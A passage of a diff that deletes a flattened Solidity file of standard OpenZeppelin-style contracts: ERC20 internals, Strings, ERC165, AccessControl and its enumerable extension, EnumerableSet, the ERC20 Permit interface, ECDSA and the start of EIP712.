-        emit Transfer(sender, recipient, amount);
-    }
-
-    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
-     * the total supply.
-     *
-     * Emits a {Transfer} event with `from` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     */
-    function _mint(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _beforeTokenTransfer(address(0), account, amount);
-
-        _totalSupply += amount;
-        _balances[account] += amount;
-        emit Transfer(address(0), account, amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, reducing the
-     * total supply.
-     *
-     * Emits a {Transfer} event with `to` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     * - `account` must have at least `amount` tokens.
-     */
-    function _burn(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _beforeTokenTransfer(account, address(0), amount);
-
-        uint256 accountBalance = _balances[account];
-        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
-        unchecked {
-            _balances[account] = accountBalance - amount;
-        }
-        _totalSupply -= amount;
-
-        emit Transfer(account, address(0), amount);
-    }
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
-     *
-     * This internal function is equivalent to `approve`, and can be used to
-     * e.g. set automatic allowances for certain subsystems, etc.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `owner` cannot be the zero address.
-     * - `spender` cannot be the zero address.
-     */
-    function _approve(address owner, address spender, uint256 amount) internal virtual {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowances[owner][spender] = amount;
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @dev Hook that is called before any transfer of tokens. This includes
-     * minting and burning.
-     *
-     * Calling conditions:
-     *
-     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
-     * will be to transferred to `to`.
-     * - when `from` is zero, `amount` tokens will be minted for `to`.
-     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
-}
-
-
-// File contracts/utils/Strings.sol
-
-
-
-
-
-library Strings {
-    bytes16 private constant alphabet = "0123456789abcdef";
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
-     */
-    function toString(uint256 value) internal pure returns (string memory) {
-        // Inspired by OraclizeAPI's implementation - MIT licence
-        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
-
-        if (value == 0) {
-            return "0";
-        }
-        uint256 temp = value;
-        uint256 digits;
-        while (temp != 0) {
-            digits++;
-            temp /= 10;
-        }
-        bytes memory buffer = new bytes(digits);
-        while (value != 0) {
-            digits -= 1;
-            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
-            value /= 10;
-        }
-        return string(buffer);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
-     */
-    function toHexString(uint256 value) internal pure returns (string memory) {
-        if (value == 0) {
-            return "0x00";
-        }
-        uint256 temp = value;
-        uint256 length = 0;
-        while (temp != 0) {
-            length++;
-            temp >>= 8;
-        }
-        return toHexString(value, length);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
-     */
-    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
-        bytes memory buffer = new bytes(2 * length + 2);
-        buffer[0] = "0";
-        buffer[1] = "x";
-        for (uint256 i = 2 * length + 1; i > 1; --i) {
-            buffer[i] = alphabet[value & 0xf];
-            value >>= 4;
-        }
-        require(value == 0, "Strings: hex length insufficient");
-        return string(buffer);
-    }
-
-}
-
-
-// File contracts/extensions/IERC165.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
-
-
-// File contracts/extensions/ERC165.sol
-
-
-
-
-
-/**
- * @dev Implementation of the {IERC165} interface.
- *
- * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
- * for the additional interface id that will be supported. For example:
- *
- * ```solidity
- * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
- *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
- * }
- * ```
- *
- * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
- */
-abstract contract ERC165 is IERC165 {
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IERC165).interfaceId;
-    }
-}
-
-
-// File contracts/extensions/AccessControl.sol
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
- * }
- * ```
- *
- * Roles can be granted and revoked dynamically via the {grantRole} and
- * {revokeRole} functions. Each role has an associated admin role, and only
- * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
- *
- * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
- * that only accounts with this role will be able to grant or revoke other
- * roles. More complex role relationships can be created by using
- * {_setRoleAdmin}.
- *
- * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
- * grant and revoke this role. Extra precautions should be taken to secure
- * accounts that have been granted it.
- */
-abstract contract AccessControl is Context, IAccessControl, ERC165 {
-    struct RoleData {
-        mapping (address => bool) members;
-        bytes32 adminRole;
-    }
-
-    mapping (bytes32 => RoleData) private _roles;
-
-    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
-
-    /**
-     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
-     *
-     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
-     * {RoleAdminChanged} not being emitted signaling this.
-     *
-     * _Available since v3.1._
-     */
-    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
-
-    /**
-     * @dev Emitted when `account` is granted `role`.
-     *
-     * `sender` is the account that originated the contract call, an admin role
-     * bearer except when using {_setupRole}.
-     */
-    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Emitted when `account` is revoked `role`.
-     *
-     * `sender` is the account that originated the contract call:
-     *   - if using `revokeRole`, it is the admin role bearer
-     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
-     */
-    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
-
-    /**
-     * @dev Modifier that checks that an account has a specific role. Reverts
-     * with a standardized message including the required role.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     *
-     * _Available since v4.1._
-     */
-    modifier onlyRole(bytes32 role) {
-        _checkRole(role, _msgSender());
-        _;
-    }
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControl).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns `true` if `account` has been granted `role`.
-     */
-    function hasRole(bytes32 role, address account) public view override returns (bool) {
-        return _roles[role].members[account];
-    }
-
-    /**
-     * @dev Revert with a standard message if `account` is missing `role`.
-     *
-     * The format of the revert reason is given by the following regular expression:
-     *
-     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
-     */
-    function _checkRole(bytes32 role, address account) internal view {
-        if(!hasRole(role, account)) {
-            revert(string(abi.encodePacked(
-                "AccessControl: account ",
-                Strings.toHexString(uint160(account), 20),
-                " is missing role ",
-                Strings.toHexString(uint256(role), 32)
-            )));
-        }
-    }
-
-    /**
-     * @dev Returns the admin role that controls `role`. See {grantRole} and
-     * {revokeRole}.
-     *
-     * To change a role's admin, use {_setRoleAdmin}.
-     */
-    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
-        return _roles[role].adminRole;
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from `account`.
-     *
-     * If `account` had been granted `role`, emits a {RoleRevoked} event.
-     *
-     * Requirements:
-     *
-     * - the caller must have ``role``'s admin role.
-     */
-    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Revokes `role` from the calling account.
-     *
-     * Roles are often managed via {grantRole} and {revokeRole}: this function's
-     * purpose is to provide a mechanism for accounts to lose their privileges
-     * if they are compromised (such as when a trusted device is misplaced).
-     *
-     * If the calling account had been granted `role`, emits a {RoleRevoked}
-     * event.
-     *
-     * Requirements:
-     *
-     * - the caller must be `account`.
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
-
-        _revokeRole(role, account);
-    }
-
-    /**
-     * @dev Grants `role` to `account`.
-     *
-     * If `account` had not been already granted `role`, emits a {RoleGranted}
-     * event. Note that unlike {grantRole}, this function doesn't perform any
-     * checks on the calling account.
-     *
-     * [WARNING]
-     * ====
-     * This function should only be called from the constructor when setting
-     * up the initial roles for the system.
-     *
-     * Using this function in any other way is effectively circumventing the admin
-     * system imposed by {AccessControl}.
-     * ====
-     */
-    function _setupRole(bytes32 role, address account) internal virtual {
-        _grantRole(role, account);
-    }
-
-    /**
-     * @dev Sets `adminRole` as ``role``'s admin role.
-     *
-     * Emits a {RoleAdminChanged} event.
-     */
-    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
-        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
-        _roles[role].adminRole = adminRole;
-    }
-
-    function _grantRole(bytes32 role, address account) private {
-        if (!hasRole(role, account)) {
-            _roles[role].members[account] = true;
-            emit RoleGranted(role, account, _msgSender());
-        }
-    }
-
-    function _revokeRole(bytes32 role, address account) private {
-        if (hasRole(role, account)) {
-            _roles[role].members[account] = false;
-            emit RoleRevoked(role, account, _msgSender());
-        }
-    }
-}
-
-
-// File contracts/utils/EnumerableSet.sol
-
-/**
- * @dev Library for managing
- * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
- * types.
- *
- * Sets have the following properties:
- *
- * - Elements are added, removed, and checked for existence in constant time
- * (O(1)).
- * - Elements are enumerated in O(n). No guarantees are made on the ordering.
- *
- * ```
- * contract Example {
- *     // Add the library methods
- *     using EnumerableSet for EnumerableSet.AddressSet;
- *
- *     // Declare a set state variable
- *     EnumerableSet.AddressSet private mySet;
- * }
- * ```
- *
- * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
- * and `uint256` (`UintSet`) are supported.
- */
-library EnumerableSet {
-    // To implement this library for multiple types with as little code
-    // repetition as possible, we write it in terms of a generic Set type with
-    // bytes32 values.
-    // The Set implementation uses private functions, and user-facing
-    // implementations (such as AddressSet) are just wrappers around the
-    // underlying Set.
-    // This means that we can only create new EnumerableSets for types that fit
-    // in bytes32.
-
-    struct Set {
-        // Storage of set values
-        bytes32[] _values;
-
-        // Position of the value in the `values` array, plus 1 because index 0
-        // means a value is not in the set.
-        mapping (bytes32 => uint256) _indexes;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function _add(Set storage set, bytes32 value) private returns (bool) {
-        if (!_contains(set, value)) {
-            set._values.push(value);
-            // The value is stored at length-1, but we add 1 to all indexes
-            // and use 0 as a sentinel value
-            set._indexes[value] = set._values.length;
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function _remove(Set storage set, bytes32 value) private returns (bool) {
-        // We read and store the value's index to prevent multiple reads from the same storage slot
-        uint256 valueIndex = set._indexes[value];
-
-        if (valueIndex != 0) { // Equivalent to contains(set, value)
-            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
-            // the array, and then remove the last element (sometimes called as 'swap and pop').
-            // This modifies the order of the array, as noted in {at}.
-
-            uint256 toDeleteIndex = valueIndex - 1;
-            uint256 lastIndex = set._values.length - 1;
-
-            if (lastIndex != toDeleteIndex) {
-                bytes32 lastvalue = set._values[lastIndex];
-
-                // Move the last value to the index where the value to delete is
-                set._values[toDeleteIndex] = lastvalue;
-                // Update the index for the moved value
-                set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
-            }
-
-            // Delete the slot where the moved value was stored
-            set._values.pop();
-
-            // Delete the index for the deleted slot
-            delete set._indexes[value];
-
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function _contains(Set storage set, bytes32 value) private view returns (bool) {
-        return set._indexes[value] != 0;
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function _length(Set storage set) private view returns (uint256) {
-        return set._values.length;
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function _at(Set storage set, uint256 index) private view returns (bytes32) {
-        return set._values[index];
-    }
-
-    // Bytes32Set
-
-    struct Bytes32Set {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _add(set._inner, value);
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
-        return _remove(set._inner, value);
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
-        return _contains(set._inner, value);
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(Bytes32Set storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
-        return _at(set._inner, index);
-    }
-
-    // AddressSet
-
-    struct AddressSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(AddressSet storage set, address value) internal returns (bool) {
-        return _add(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(AddressSet storage set, address value) internal returns (bool) {
-        return _remove(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(AddressSet storage set, address value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(uint256(uint160(value))));
-    }
-
-    /**
-     * @dev Returns the number of values in the set. O(1).
-     */
-    function length(AddressSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(AddressSet storage set, uint256 index) internal view returns (address) {
-        return address(uint160(uint256(_at(set._inner, index))));
-    }
-
-
-    // UintSet
-
-    struct UintSet {
-        Set _inner;
-    }
-
-    /**
-     * @dev Add a value to a set. O(1).
-     *
-     * Returns true if the value was added to the set, that is if it was not
-     * already present.
-     */
-    function add(UintSet storage set, uint256 value) internal returns (bool) {
-        return _add(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Removes a value from a set. O(1).
-     *
-     * Returns true if the value was removed from the set, that is if it was
-     * present.
-     */
-    function remove(UintSet storage set, uint256 value) internal returns (bool) {
-        return _remove(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns true if the value is in the set. O(1).
-     */
-    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
-        return _contains(set._inner, bytes32(value));
-    }
-
-    /**
-     * @dev Returns the number of values on the set. O(1).
-     */
-    function length(UintSet storage set) internal view returns (uint256) {
-        return _length(set._inner);
-    }
-
-   /**
-    * @dev Returns the value stored at position `index` in the set. O(1).
-    *
-    * Note that there are no guarantees on the ordering of values inside the
-    * array, and it may change when more values are added or removed.
-    *
-    * Requirements:
-    *
-    * - `index` must be strictly less than {length}.
-    */
-    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
-        return uint256(_at(set._inner, index));
-    }
-}
-
-
-// File contracts/extensions/AccessControlEnumerable.sol
-
-
-
-
-
-
-/**
- * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
- */
-interface IAccessControlEnumerable {
-    function getRoleMember(bytes32 role, uint256 index) external view returns (address);
-    function getRoleMemberCount(bytes32 role) external view returns (uint256);
-}
-
-/**
- * @dev Extension of {AccessControl} that allows enumerating the members of each role.
- */
-abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
-    using EnumerableSet for EnumerableSet.AddressSet;
-
-    mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
-
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IAccessControlEnumerable).interfaceId
-            || super.supportsInterface(interfaceId);
-    }
-
-    /**
-     * @dev Returns one of the accounts that have `role`. `index` must be a
-     * value between 0 and {getRoleMemberCount}, non-inclusive.
-     *
-     * Role bearers are not sorted in any particular way, and their ordering may
-     * change at any point.
-     *
-     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
-     * you perform all queries on the same block. See the following
-     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
-     * for more information.
-     */
-    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
-        return _roleMembers[role].at(index);
-    }
-
-    /**
-     * @dev Returns the number of accounts that have `role`. Can be used
-     * together with {getRoleMember} to enumerate all bearers of a role.
-     */
-    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
-        return _roleMembers[role].length();
-    }
-
-    /**
-     * @dev Overload {grantRole} to track enumerable memberships
-     */
-    function grantRole(bytes32 role, address account) public virtual override {
-        super.grantRole(role, account);
-        _roleMembers[role].add(account);
-    }
-
-    /**
-     * @dev Overload {revokeRole} to track enumerable memberships
-     */
-    function revokeRole(bytes32 role, address account) public virtual override {
-        super.revokeRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {renounceRole} to track enumerable memberships
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        super.renounceRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {_setupRole} to track enumerable memberships
-     */
-    function _setupRole(bytes32 role, address account) internal virtual override {
-        super._setupRole(role, account);
-        _roleMembers[role].add(account);
-    }
-}
-
-
-// File contracts/extensions/draft-IERC20Permit.sol
-
-/**
- * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- */
-interface IERC20Permit {
-    /**
-     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
-     * given ``owner``'s signed approval.
-     *
-     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
-     * ordering also apply here.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `deadline` must be a timestamp in the future.
-     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
-     * over the EIP712-formatted function arguments.
-     * - the signature must use ``owner``'s current nonce (see {nonces}).
-     *
-     * For more information on the signature format, see the
-     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
-     * section].
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
-
-    /**
-     * @dev Returns the current nonce for `owner`. This value must be
-     * included whenever a signature is generated for {permit}.
-     *
-     * Every successful call to {permit} increases ``owner``'s nonce by one. This
-     * prevents a signature from being used multiple times.
-     */
-    function nonces(address owner) external view returns (uint256);
-
-    /**
-     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view returns (bytes32);
-}
-
-
-// File contracts/utils/cryptography/ECDSA.sol
-
-
-
-
-
-/**
- * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
- *
- * These functions can be used to verify that a message was signed by the holder
- * of the private keys of a given address.
- */
-library ECDSA {
-    /**
-     * @dev Returns the address that signed a hashed message (`hash`) with
-     * `signature`. This address can then be used for verification purposes.
-     *
-     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
-     * this function rejects them by requiring the `s` value to be in the lower
-     * half order, and the `v` value to be either 27 or 28.
-     *
-     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
-     * verification to be secure: it is possible to craft signatures that
-     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
-     * this is by receiving a hash of the original message (which may otherwise
-     * be too long), and then calling {toEthSignedMessageHash} on it.
-     *
-     * Documentation for signature generation:
-     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
-     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
-     */
-    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
-        // Divide the signature in r, s and v variables
-        bytes32 r;
-        bytes32 s;
-        uint8 v;
-
-        // Check the signature length
-        // - case 65: r,s,v signature (standard)
-        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
-        if (signature.length == 65) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                r := mload(add(signature, 0x20))
-                s := mload(add(signature, 0x40))
-                v := byte(0, mload(add(signature, 0x60)))
-            }
-        } else if (signature.length == 64) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                let vs := mload(add(signature, 0x40))
-                r := mload(add(signature, 0x20))
-                s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
-                v := add(shr(255, vs), 27)
-            }
-        } else {
-            revert("ECDSA: invalid signature length");
-        }
-
-        return recover(hash, v, r, s);
-    }
-
-    /**
-     * @dev Overload of {ECDSA-recover} that receives the `v`,
-     * `r` and `s` signature fields separately.
-     */
-    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
-        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
-        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
-        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
-        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
-        //
-        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
-        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
-        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
-        // these malleable signatures as well.
-        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
-        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
-
-        // If the signature is valid (and not malleable), return the signer address
-        address signer = ecrecover(hash, v, r, s);
-        require(signer != address(0), "ECDSA: invalid signature");
-
-        return signer;
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
-     * produces hash corresponding to the one signed with the
-     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
-     * JSON-RPC method as part of EIP-191.
-     *
-     * See {recover}.
-     */
-    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
-        // 32 is the length in bytes of hash,
-        // enforced by the type signature above
-        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Typed Data, created from a
-     * `domainSeparator` and a `structHash`. This produces hash corresponding
-     * to the one signed with the
-     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
-     * JSON-RPC method as part of EIP-712.
-     *
-     * See {recover}.
-     */
-    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
-        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
-    }
-}
-
-
-// File contracts/utils/cryptography/draft-EIP712.sol
-
-
-
-
-
-/**
- * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
- *
- * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
- * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
- * they need in their contracts using a combination of `abi.encode` and `keccak256`.
- *
- * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
- * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
- * ({_hashTypedDataV4}).
- *
- * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
- * the chain id to protect against replay attacks on an eventual fork of the chain.
- *
- * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
- * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
- *
- * _Available since v3.4._
- */
-abstract contract EIP712 {
-    /* solhint-disable var-name-mixedcase */
-    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
-    // invalidate the cached domain separator if the chain id changes.
-    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
-    uint256 private immutable _CACHED_CHAIN_ID;
-
-    bytes32 private immutable _HASHED_NAME;
-    bytes32 private immutable _HASHED_VERSION;
-    bytes32 private immutable _TYPE_HASH;
-    /* solhint-enable var-name-mixedcase */
-
-    /**
-     * @dev Initializes the domain separator and parameter caches.
-     *
-     * The meaning of `name` and `version` is specified in
-     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
-     *
-     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
-     * - `version`: the current major version of the signing domain.
-     *
-     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
-     * contract upgrade].
-     */
-    constructor(string memory name, string memory version) {
-        bytes32 hashedName = keccak256(bytes(name));
-        bytes32 hashedVersion = keccak256(bytes(version));
-        bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
-        _HASHED_NAME = hashedName;
-        _HASHED_VERSION = hashedVersion;
-        _CACHED_CHAIN_ID = block.chainid;
-        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
-        _TYPE_HASH = typeHash;
-    }
-
-    /**
